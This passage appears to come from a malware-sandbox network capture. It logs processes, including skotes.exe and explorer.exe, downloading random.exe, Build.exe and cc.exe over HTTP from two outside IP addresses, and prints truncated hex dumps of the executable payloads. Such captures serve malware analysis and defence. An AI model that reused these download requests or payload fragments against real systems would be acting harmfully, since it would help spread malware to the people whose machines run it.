Dec 14, 2024 14:56:25.779089928 CET	1236	IN	Data Raw: 00 04 7e 0d 00 00 04 7e 04 00 00 04 6f 4e 00 00 06 80 04 00 00 04 7e 0d 00 00 04 7e 08 00 00 04 6f 4e 00 00 06 80 08 00 00 04 7e 0d 00 00 04 7e 0e 00 00 04 6f 4e 00 00 06 80 0e 00 00 04 7e 0d 00 00 04 7e 0c 00 00 04 6f 4e 00 00 06 80 0c 00 00 04 Data Ascii: ~~oN~~oN~~oN~~oN~~oN~~oN(-~~oN~~oN(s(&*A##0Q
Dec 14, 2024 14:56:25.779206038 CET	1236	IN	Data Raw: fe 06 1f 00 00 06 73 3c 00 00 0a 14 6f 3d 00 00 0a 26 38 06 00 00 00 16 28 13 00 00 06 dd 0c 00 00 00 26 16 28 13 00 00 06 dd 00 00 00 00 2a 00 00 00 41 4c 00 00 00 00 00 00 ce 00 00 00 26 00 00 00 f4 00 00 00 06 00 00 00 01 00 00 01 02 00 00 00 Data Ascii: s<o=&8(&(*AL&!0j(%:&8(@(%:&8(A(%:&8(B(%:&8(B&(
Dec 14, 2024 14:56:25.779241085 CET	1236	IN	Data Raw: 00 01 1b 30 05 00 76 02 00 00 06 00 00 11 7e 05 00 00 04 28 52 00 00 0a 7e 06 00 00 04 28 53 00 00 0a 73 54 00 00 0a 0a 28 55 00 00 0a 6f 56 00 00 0a 6f 57 00 00 0a 0b 07 06 6f 58 00 00 0a 28 59 00 00 0a 39 2f 02 00 00 28 5a 00 00 0a 0c 16 0d 38 Data Ascii: 0v~(R~(SsT(UoVoWoX(Y9/(Z8;PoVoWoX(%9o[&Xi2(09qs\r!po]8%r!p%o^(_%r!p%oX%r!p(`oa
Dec 14, 2024 14:56:25.779350996 CET	1236	IN	Data Raw: 00 00 09 00 00 11 16 0a 28 55 00 00 0a 6f 86 00 00 0a 12 00 28 3b 00 00 06 26 06 0b dd 08 00 00 00 26 06 0b dd 00 00 00 00 07 2a 00 00 00 01 10 00 00 00 00 02 00 19 1b 00 08 01 00 00 01 1b 30 01 00 2f 00 00 00 0a 00 00 11 72 56 23 00 70 28 3a 00 Data Ascii: (Uo(;&&0/rV#p(:(9&%%0e%(f%(%(%(%(w(xsy(zh((.&rn#p
Dec 14, 2024 14:56:25.779383898 CET	1236	IN	Data Raw: 17 58 0b 07 06 8e 69 32 d6 14 2a 00 00 00 1b 30 01 00 17 00 00 00 00 00 00 00 20 03 00 00 80 28 3c 00 00 06 26 dd 06 00 00 00 26 dd 00 00 00 00 2a 00 01 10 00 00 00 00 00 00 10 10 00 06 01 00 00 01 1b 30 03 00 40 00 00 00 10 00 00 11 20 00 01 00 Data Ascii: Xi20 (<&&0@ s(8 (9>o8&rp*220~s0*>s(((=&
Dec 14, 2024 14:56:25.779417038 CET	1236	IN	Data Raw: 00 00 00 00 00 00 a4 00 00 00 79 00 00 00 1d 01 00 00 0f 00 00 00 31 00 00 01 02 00 00 00 62 01 00 00 57 00 00 00 b9 01 00 00 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 cc 01 00 00 cc 01 00 00 0f 00 00 00 31 00 00 01 13 30 0b 00 11 01 00 00 Data Ascii: y1bW10(rx%poo(B(or%po(~%: r%p(~%(%(%(%(%(%(%(
Dec 14, 2024 14:56:25.779453039 CET	1000	IN	Data Raw: 00 00 33 01 00 00 0d 00 00 00 00 00 00 00 02 00 00 00 18 00 00 00 28 01 00 00 40 01 00 00 0d 00 00 00 00 00 00 00 13 30 03 00 22 00 00 00 18 00 00 11 17 0a 16 0b 38 11 00 00 00 03 07 91 04 07 91 3b 02 00 00 00 16 0a 07 17 58 0b 07 03 8e 69 32 e9 Data Ascii: 3(@0"8;Xi20n(oso9o3s8r&p(o&Xi2o8o0"s
Dec 14, 2024 14:56:25.901467085 CET	1236	IN	Data Raw: 00 00 00 06 d2 58 d2 0b 03 07 6f ee 00 00 0a 38 59 00 00 00 06 20 ff ff 00 00 3d 2a 00 00 00 20 dc 00 00 00 0b 03 07 6f ee 00 00 0a 06 68 28 ef 00 00 0a 28 58 00 00 06 0c 03 08 16 08 8e 69 6f 4c 00 00 0a 38 24 00 00 00 20 dd 00 00 00 0b 03 07 6f Data Ascii: Xo8Y =* oh((XioL8$ o(J(XioL8{8ooX20 {6YE"k8IZ8f{5h({5*{5o8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49876	31.41.244.11	80	5396	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:56:25.014241934 CET	62	OUT	GET /files/burpin1/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 14, 2024 14:56:26.565145969 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 14 Dec 2024 13:56:26 GMT Content-Type: application/octet-stream Content-Length: 4438776 Last-Modified: Tue, 10 Dec 2024 00:01:52 GMT Connection: keep-alive ETag: "675784f0-43baf8" Accept-Ranges: bytes Data Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ`@`!L!Require Windows$PEL?O_@D0O{C?l.text `.rdata;<@@.dataM@.rsrcO0P@@U`AS3;VWtf9bAt`APPPYnj'@uv=A6PP9^]v8^3hAPPPxAEE;FrP~Y6jtAt$DV%sAF8^jqA39`At@9D$tt$Ph5XAA3D$`\|$u@3pAt$D$t$`A/@t$PQ%`A3T$L$fAABBfuL$3f9t@f<Aut$TAL$%S\$VC;^tLW3
Dec 14, 2024 14:56:26.565205097 CET	224	IN	Data Raw: c9 6a 02 5a 8b c3 f7 e2 0f 90 c1 f7 d9 0b c8 51 e8 94 80 01 00 8b f8 33 c0 39 46 08 59 7e 1d 39 46 04 7e 10 8b 0e 66 8b 0c 41 66 89 0c 47 40 3b 46 04 7c f0 ff 36 e8 68 80 01 00 59 8b 46 04 89 3e 66 83 24 47 00 89 5e 08 5f 5e 5b c2 04 00 56 8b f1 Data Ascii: jZQ39FY~9F~fAfG@;F\|6hYF>f$G^_^[Vv\IY^oUQQAuVjjEP5A\|At>E;Ew6rE;Es,jPYYtlAj@ AEPjh5XAA3
Dec 14, 2024 14:56:26.565236092 CET	1236	IN	Data Raw: c9 c2 0c 00 8b 44 24 08 85 c0 74 0c a3 6c e9 41 00 b8 05 40 00 80 eb 3a 56 8b 74 24 08 57 8d 7e 24 83 3f 00 74 0f 8b 4e 20 8d 46 34 50 83 c1 08 e8 c0 11 01 00 8b cf e8 da 29 01 00 83 7e 1c 00 74 0c ff 76 40 ff 76 28 ff 15 80 a1 41 00 5f 33 c0 5e Data Ascii: D$tlA@:Vt$W~$?tN F4P)~tv@v(A_3^UVuA}juuv(j}iuv(jjuVP^]=AtjA=XAtL$AVQ3=lAQjjPR=Atj5XAA^L$
Dec 14, 2024 14:56:26.565319061 CET	1236	IN	Data Raw: 8b 76 0c 85 f6 59 74 06 8b 06 56 ff 50 08 5e c3 83 6c 24 04 04 e9 76 ff ff ff 56 6a 01 8b f1 e8 d3 fc ff ff 8b 46 04 8b 0e 66 8b 54 24 08 66 89 14 41 ff 46 04 8b 46 04 8b 0e 66 83 24 41 00 8b c6 5e c2 04 00 55 8b ec ff 75 0c 8b 4d 08 e8 03 fc ff Data Ascii: vYtVP^l$vVjFfT$fAFFf$A^UuMuME]Vt$NFuhVrzY3^Uh$AuYYtEMPQ3hAu{YYu@]L$IAujP3VNXAD
Dec 14, 2024 14:56:26.565356016 CET	1236	IN	Data Raw: 8d 55 d4 0f 95 c0 52 6a 0c ff 75 0c 89 46 3c 8b 46 0c 8b 08 50 ff 51 18 3b c7 89 45 0c 74 19 8d 4d d4 e8 fe 08 01 00 ff 75 f0 e8 ec 75 01 00 8b 7d 0c 59 e9 cf fe ff ff 0f b7 45 d4 3b c7 74 1a 83 f8 40 74 07 6a 66 e9 71 ff ff ff 8b 45 dc 89 46 34 Data Ascii: URjuF<FPQ;EtMuu}YE;t@tjfqEF4EF8EPAF4PEPA9~<t3Y>jh/N4QPYY%jlu;YtxXAH3PMF (F jQHxx,
Dec 14, 2024 14:56:26.565390110 CET	672	IN	Data Raw: 64 a1 41 00 eb 7a 83 3d 90 e9 41 00 00 75 6f 8b 35 68 a1 41 00 68 d0 a5 41 00 bb c4 a5 41 00 53 c7 05 90 e9 41 00 01 00 00 00 ff d6 8b 3d 6c a1 41 00 50 ff d7 6a 00 89 45 fc 0f b7 05 80 e9 41 00 68 09 04 00 00 6a 00 50 8d 45 bc 68 a8 a5 41 00 50 Data Ascii: dAz=Auo5hAhAASA=lAPjEAhjPEhAPA}uhASPEtjEPjU3_^[U,SVW3WAjXPE0A}j`X5TAj`jdPv\|=j[j=j[j_EPju@AWSuW
Dec 14, 2024 14:56:26.565517902 CET	1236	IN	Data Raw: 50 ff 51 0c 39 75 fc 74 3f ff 75 fc e8 d4 fd ff ff 59 8d 4d d8 51 6a 18 50 89 45 fc ff 15 40 a0 41 00 6a 06 ff 75 e0 ff 75 dc 56 56 56 ff 75 08 ff 15 84 a2 41 00 ff 75 fc 56 68 72 01 00 00 ff 75 08 ff 15 b8 a2 41 00 8b 45 f0 8b 08 50 ff 51 08 33 Data Ascii: PQ9ut?uYMQjPE@AjuuVVVuAuVhruAEPQ3@WPA3_^[f=AuD<AfAAfft@Af=uDAA;ufAAUSV339AtAM9tFA9u9
Dec 14, 2024 14:56:26.565634012 CET	224	IN	Data Raw: 5b c2 04 00 8b 01 8b 51 04 8b 4c 24 08 2b d1 8d 54 12 02 8d 0c 48 52 51 8b 4c 24 0c 8d 04 48 50 ff 15 3c a2 41 00 83 c4 0c c2 08 00 53 56 57 eb 3b 8b 02 8b 39 8a 1c 07 8a c3 e8 db f5 ff ff 84 c0 75 27 80 fb 3b 75 2d 3b fe 7d 12 8b 01 8b 32 80 3c Data Ascii: [QL$+THRQL$HP<ASVW;9u';u-;}2<0t@;B\|2_^[Ar91\|S\$VWu33\|$Gt$P$AtF;w\|3_^[t3GVt$W39~~(Ft$P$A
Dec 14, 2024 14:56:26.565888882 CET	1236	IN	Data Raw: 00 85 c0 75 0b 8b 06 6a 01 57 8b ce ff 50 04 4f 47 3b 7e 08 7c d8 5f 5e c3 56 8b f1 ff 76 0c e8 cf 68 01 00 ff 36 e8 c8 68 01 00 59 59 5e c3 ff 74 24 0c ff 74 24 0c ff 74 24 0c e8 59 ff ff ff 83 c4 0c 85 c0 74 04 8b 40 0c c3 33 c0 c3 55 8b ec 83 Data Ascii: ujWPOG;~\|_^Vvh6hYY^t$t$t$Yt@3U@}u3AE@uEEP At7M3;w.rE;Es$j+pPkYYtAA3@t$Yujht$jAt$jYu%8AV
Dec 14, 2024 14:56:26.565959930 CET	1236	IN	Data Raw: ff 75 08 53 ff 75 10 ff 15 18 a1 41 00 8b 0e 88 1c 08 89 46 04 5f 8b c6 5e 5b 5d c3 55 8b ec 83 ec 0c 8d 4d f4 e8 76 e6 ff ff 83 7d fc 01 7f 0a 6a 01 8d 4d f4 e8 32 e3 ff ff 56 8b 35 14 a1 41 00 57 8b 7d 08 8b 07 6a 01 ff 75 f4 50 ff d6 85 c0 75 Data Ascii: uSuAF_^[]UMv}jM2V5AW}juPuucY7S@PPMPSuVf$FYEEPdVcY[_^U cSVW}3SSSSWPEu50AXuEE3]]]}MQ
Dec 14, 2024 14:56:26.685692072 CET	1236	IN	Data Raw: 15 04 a1 41 00 5e c3 33 c0 5e c3 56 e8 ac fe ff ff 59 5e c3 53 8b 5c 24 0c 8b 03 83 63 04 00 66 83 20 00 56 8b 74 24 0c 57 6a 02 5f eb 08 66 3d 20 00 77 0a 03 f7 0f b7 06 66 85 c0 75 f0 66 83 3e 2c 75 0f eb 0b 66 85 c0 74 4d 66 3d 2c 00 74 47 03 Data Ascii: A^3^VY^S\$cf Vt$Wj_f= wfuf>,uftMf=,tGf={u0{t+uFf8}tF"Ff8{uPfu_^[L$Vj\%L$j/;~^VW\|$t$A~!FPPPt$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49879	185.81.68.147	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:56:26.512531042 CET	234	OUT	GET /Build.exe HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3
Dec 14, 2024 14:56:27.851326942 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:56:27 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Sat, 14 Dec 2024 12:17:46 GMT ETag: "af400-62939ef688fac" Accept-Ranges: bytes Content-Length: 717824 Connection: close Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 86 5b 44 e7 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 30 00 00 ea 0a 00 00 08 00 00 00 00 00 00 4e 09 0b 00 00 20 00 00 00 20 0b 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 0b 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 fc 08 0b 00 4f 00 00 00 00 20 0b 00 96 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0b 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL[D"0N @ ``O @ H.textT `.rsrc @@.reloc@@B0H-<+p6!6S&+~!6S&+($(^!6S&+~(9!6S&+,{,{o%(((((3(+(B^(Dr=p(K2n(S(T~6s(U.rEp6~7-rJp(oVsW7~7~88~9(XVsC(Yt9*0)!6S&+((
Dec 14, 2024 14:56:27.851346016 CET	224	IN	Data Raw: 00 06 28 04 00 00 06 28 04 00 00 06 28 04 00 00 06 28 04 00 00 06 28 04 00 00 06 28 04 00 00 06 28 04 00 00 06 28 04 00 00 06 28 04 00 00 06 28 04 00 00 06 28 04 00 00 06 28 04 00 00 06 28 04 00 00 06 28 04 00 00 06 28 04 00 00 06 28 04 00 00 06 Data Ascii: (((((((((((((((((((((((((((((((((((((((((((((
Dec 14, 2024 14:56:27.851386070 CET	1236	IN	Data Raw: 00 00 06 28 04 00 00 06 28 04 00 00 06 28 04 00 00 06 28 04 00 00 06 28 04 00 00 06 28 04 00 00 06 28 04 00 00 06 28 04 00 00 06 28 04 00 00 06 28 04 00 00 06 28 04 00 00 06 28 04 00 00 06 28 04 00 00 06 28 04 00 00 06 28 04 00 00 06 28 04 00 00 Data Ascii: ((((((((((((((((((((((((((((((((((((((((((((((((
Dec 14, 2024 14:56:27.851455927 CET	1236	IN	Data Raw: 04 08 7b 0d 00 00 04 16 11 0a 20 00 30 00 00 1f 40 6f 25 00 00 06 13 0c 11 0c 2d 06 73 3a 00 00 0a 7a 7e 09 00 00 04 08 7b 0d 00 00 04 11 0c 04 11 0b 12 09 6f 29 00 00 06 2d 06 73 3a 00 00 0a 7a 11 04 20 f8 00 00 00 58 13 0e 04 11 04 1c 58 28 3d Data Ascii: { 0@o%-s:z~{o)-s:z XX(=Y+yX(;X(;X(;,AYX:i(>~{Xio)-s:z(XX1(?~{
Dec 14, 2024 14:56:27.851469040 CET	1236	IN	Data Raw: 00 00 00 00 00 50 41 44 50 41 44 50 b4 00 00 00 b4 00 00 00 ce ca ef be 01 00 00 00 91 00 00 00 6c 53 79 73 74 65 6d 2e 52 65 73 6f 75 72 63 65 73 2e 52 65 73 6f 75 72 63 65 52 65 61 64 65 72 2c 20 6d 73 63 6f 72 6c 69 62 2c 20 56 65 72 73 69 6f Data Ascii: PADPADPlSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSetPADPADPBSJBv4.0.30319lH#~
Dec 14, 2024 14:56:27.851659060 CET	1236	IN	Data Raw: 2c a2 00 00 34 6f 00 00 15 00 0d 00 10 00 03 01 00 00 ea 8d 00 00 bd 8e 00 00 15 00 0d 00 14 00 03 01 00 00 92 97 00 00 13 b4 00 00 15 00 0d 00 18 00 03 01 00 00 8d 4f 00 00 35 73 00 00 15 00 0d 00 1c 00 03 01 00 00 e1 09 00 00 89 82 00 00 15 00 Data Ascii: ,4oO5s d$f4(M,zC0#4Ay!8x~!8sT#8!
Dec 14, 2024 14:56:27.851692915 CET	1236	IN	Data Raw: 45 00 01 00 00 00 e4 78 00 00 28 32 00 00 11 00 3a 00 45 00 01 00 00 00 b1 65 00 00 3f 25 00 00 11 00 3a 00 45 00 01 00 00 00 cf 89 00 00 bd 92 00 00 11 00 3a 00 45 00 01 00 00 00 73 e9 00 00 9f c2 00 00 11 00 3a 00 45 00 01 00 00 00 03 5b 00 00 Data Ascii: Ex(2:Ee?%:E:Es:E[p:ET:EH_:ERc:E:E,:E56:E8u:E&:E
Dec 14, 2024 14:56:27.851728916 CET	1236	IN	Data Raw: 00 00 65 01 06 00 c0 01 01 00 65 01 06 00 43 b8 00 00 65 01 06 00 41 c4 00 00 65 01 06 00 72 7e 00 00 65 01 06 00 a1 a8 00 00 65 01 06 00 fd d6 00 00 65 01 06 00 56 cd 00 00 68 01 06 00 d8 2a 00 00 68 01 06 00 95 a4 00 00 65 01 06 00 1f ab 00 00 Data Ascii: eeCeAer~eeeVh*hee_eeVMbVSbV_bVFbVbVPbVIbV+bVbVbbVwbVkb!_>eeY_
Dec 14, 2024 14:56:27.851767063 CET	1236	IN	Data Raw: 74 66 00 00 01 00 9e 00 21 21 00 00 00 00 91 18 a1 06 00 00 01 00 9e 00 e5 20 00 00 00 00 83 18 9b 06 00 00 2b 00 9e 00 2d 21 00 00 00 00 93 08 4a 48 00 00 b4 01 9e 00 59 21 00 00 00 00 93 08 69 72 00 00 b9 01 9e 00 60 21 00 00 00 00 93 08 48 29 Data Ascii: tf!! +-!JHY!ir`!H)h!vo!+w!
Dec 14, 2024 14:56:27.851803064 CET	1236	IN	Data Raw: d1 12 01 00 00 00 04 00 b1 12 01 00 00 00 05 00 80 12 01 00 00 00 06 00 ec 12 01 00 00 00 07 00 08 14 01 00 00 00 08 00 b9 14 01 00 00 00 09 00 b1 05 00 00 00 00 0a 00 2e 05 00 00 00 00 0b 00 b4 04 00 00 00 00 0c 00 99 13 01 00 00 00 01 00 b1 05 Data Ascii: ..TTXT\T`TdThTl
Dec 14, 2024 14:56:27.971657038 CET	1236	IN	Data Raw: 17 04 ac 04 13 00 01 00 14 00 03 00 00 00 61 d5 00 00 c4 01 00 00 10 c1 00 00 c9 01 00 00 d3 13 01 00 d7 01 02 00 3f 00 03 00 02 00 40 00 05 00 01 00 41 00 05 00 02 00 42 00 07 00 02 00 0e 00 03 00 03 00 00 00 db 04 00 00 fe 03 40 01 15 00 25 00 Data Ascii: a?@AB@%C]DqB]wf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49888	185.81.68.147	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:56:29.630882978 CET	231	OUT	GET /cc.exe HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3
Dec 14, 2024 14:56:30.972265959 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:56:30 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Thu, 12 Dec 2024 05:59:50 GMT ETag: "2e9600-6290c6c1b377a" Accept-Ranges: bytes Content-Length: 3053056 Connection: close Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 8b 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 03 00 00 00 00 00 00 f6 8e 00 00 00 00 00 f0 00 22 00 0b 02 03 00 00 a0 2e 00 00 10 00 00 00 70 66 00 30 04 95 00 00 80 66 00 00 00 40 00 00 00 00 00 00 10 00 00 00 02 00 00 06 00 01 00 01 00 00 00 06 00 01 00 00 00 00 00 00 30 95 00 00 02 00 00 00 00 00 00 02 00 60 81 00 00 20 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 20 95 00 9c 00 00 00 00 00 00 00 00 00 00 00 00 c0 91 00 54 95 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEd".pf0f@0` TUPX0pfUPX1.f.@UPX2 .@4.24UPX!$V9uv%.I5<Pm\|EB2@^1sMwG3BTIX`("U{"7Ne(=((sWDd;{Os/0&p`PNwS%2S?87x+vJt(>./zosczy,v$j]MRdh1a}}h-=U4}yQ:GQ2]0[^=K?/>SZ9pvuwOnm%Euq^n <gCOUQBZ<x%THnb<oS
Dec 14, 2024 14:56:30.972311974 CET	1236	IN	Data Raw: ff cd f3 68 2e 2c b3 78 64 6e d2 44 26 56 72 6c cd 17 fe f5 da 8a de 9b 23 04 72 c6 b9 8a 38 12 e6 45 01 fa 74 97 2b 0a 7d 65 97 6b 0c 8e d1 d1 47 fe 49 ec fb b2 6f 3a a1 6f 52 15 bf 77 f8 cf 97 3f 4a d5 f1 6e 97 81 bb bc bb f4 67 c4 c4 59 2a 59 Data Ascii: h.,xdnD&Vrl#r8Et+}ekGIo:oRw?JngYYT%tfXkM\(.r!zR_\|<xL=x:8Tu2#cOS86q2Ll, yK(^zgx<)W.=Y^1G
Dec 14, 2024 14:56:30.972323895 CET	1236	IN	Data Raw: 3e 3e fd ca cc 06 71 de b3 b0 65 a5 ab af 34 b4 6e f5 9e 64 ef 71 ec 17 09 70 36 cb af 09 9a 56 0a 07 a4 96 5e b3 3a 0b 96 ab c4 0e dd cb 21 fd 81 16 b2 ae cc d7 91 14 28 37 64 cf 78 bc ff 4f 5b 66 eb e1 3c d2 0e 7f 07 8c 3f 6a 97 6b 79 fb cd 66 Data Ascii: >>qe4ndqp6V^:!(7dxO[f<?jkyf&>,122vCqsq{N{3XTK(TgJv97bQ<wi}V+o$_W81[NI=?YANJA{\|ugR
Dec 14, 2024 14:56:30.972388029 CET	1236	IN	Data Raw: 1c 45 44 fb d6 c2 3a a8 79 7d eb 5a 77 bc 95 8f e7 ea 80 3a ea a8 cd 6e b8 c5 78 cc 8d 66 09 30 e2 e2 5a 92 1b 83 87 45 a7 d3 b4 c5 13 6e ca 36 01 7d af 8b 61 f6 36 3f 0c 5d a8 da 5f 57 2b e3 83 ea 48 01 6d 60 58 c3 49 9a 76 57 87 0c 0f 59 14 eb Data Ascii: ED:y}Zw:nxf0ZEn6}a6?]_W+Hm`XIvWY5;]xRR\0yC7:<7-^8EgyM%d2d~eM;`V/R*M/+dED`86RBk4=~Cu_o"`
Dec 14, 2024 14:56:30.972503901 CET	1236	IN	Data Raw: a1 12 6d b3 7d 16 0c eb fc 08 45 3f f3 80 27 c6 b1 a4 31 b7 4e 8f 97 a7 89 92 a7 f2 5a 8f c3 33 15 e9 8e ad 3c d8 2d 8b 39 90 08 d9 6c b1 ab 99 2e c6 48 50 4f 56 7e 67 16 0c 31 4f 9d 80 db f8 17 75 9a 30 8a e5 8e d8 39 7e 96 ee 95 2d 31 08 fb 38 Data Ascii: m}E?'1NZ3<-9l.HPOV~g1Ou09~-18X8WCVFdAR"Ta&s5(#RvX@<,H-(rQ)K3AxaR@7aMhBm+b;\|(LL*ii'T@
Dec 14, 2024 14:56:30.972517014 CET	1120	IN	Data Raw: d0 1d 13 82 1d e3 84 58 9d 05 15 31 86 3e c5 5a 15 25 b7 aa d9 64 ea ae 7d 4d d0 14 89 ea de 75 4b 64 d4 1a 75 91 19 d9 69 9a f6 a0 c1 71 fc 88 e8 c2 1b 93 a1 4d c5 d0 18 cf 7f a1 fc 1d 09 2d 12 14 83 92 b5 7e 1e 49 8f 27 4c 7b a8 e4 be e7 63 92 Data Ascii: X1>Z%d}MuKduiqM-~I'L{c]Kr"l7?{RS2y0$q/Tjg7 ^zswn8#8,J>~^r`,br2M\|@{4U:\M#)\fvBZ"x1/mb
Dec 14, 2024 14:56:30.972539902 CET	1236	IN	Data Raw: 33 d5 0f 1e e2 3e 97 14 4f 87 01 d6 af 99 18 c7 08 e7 9d a7 bb 1f 65 2f 3b 23 66 20 53 ca 4d ce a6 2d 6c b1 cc dd 3d 41 6d 46 83 f4 82 37 cf 53 fa ba e8 2d 1f e1 08 08 b7 49 52 bb f2 76 2d 01 e9 c3 bd 54 c6 22 d4 6f 81 3d a5 0e 44 3a 9c f4 c8 58 Data Ascii: 3>Oe/;#f SM-l=AmF7S-IRv-T"o=D:X<'k8u9_I>[ev#q"#`{FEzXQ8]BbImx~:7.%oA2cm${@(sD0lRtba
Dec 14, 2024 14:56:30.972552061 CET	1236	IN	Data Raw: 90 2b 1f 0c 12 71 9a e1 d6 d9 58 b5 4d 13 89 29 e4 48 5f 46 b2 21 99 95 55 d1 97 61 e4 d6 d2 0a 90 50 59 75 2b 3a 6b da 95 2c 4b e9 50 f9 02 b6 34 47 06 1f 81 c2 75 91 8f 9a cc 15 86 56 a8 32 63 00 dc eb 00 60 57 28 a8 f3 cc 82 ef c5 30 04 59 10 Data Ascii: +qXM)H_F!UaPYu+:k,KP4GuV2c`W(0Y$\|+)cf/l0<l*FY1Y56)49eyV%n3[AH_vE%KUM2U-sy,;SR;ZpIQc2IRmO\j(
Dec 14, 2024 14:56:30.972563028 CET	448	IN	Data Raw: e5 92 72 83 9d b0 19 ba 72 15 f5 cf c2 b9 d6 2b 66 e5 ad ad 24 d9 c8 36 d7 30 72 f6 62 b8 7d 7d 0a 92 40 60 38 c5 7c ac 5a 51 81 36 5f 00 9e 18 e0 9a d7 ff 94 fc 03 38 1f dd 5d 19 75 8b a7 f7 38 66 43 ce 84 ec c6 18 22 c1 87 f9 48 b6 08 92 9f 57 Data Ascii: rr+f$60rb}}@`8\|ZQ6_8]u8fC"HW2Ns_AhbV8Mz/pN3ErPD04&i\|=}/~QkACJa@oM}B>uF:{;F.=^^G
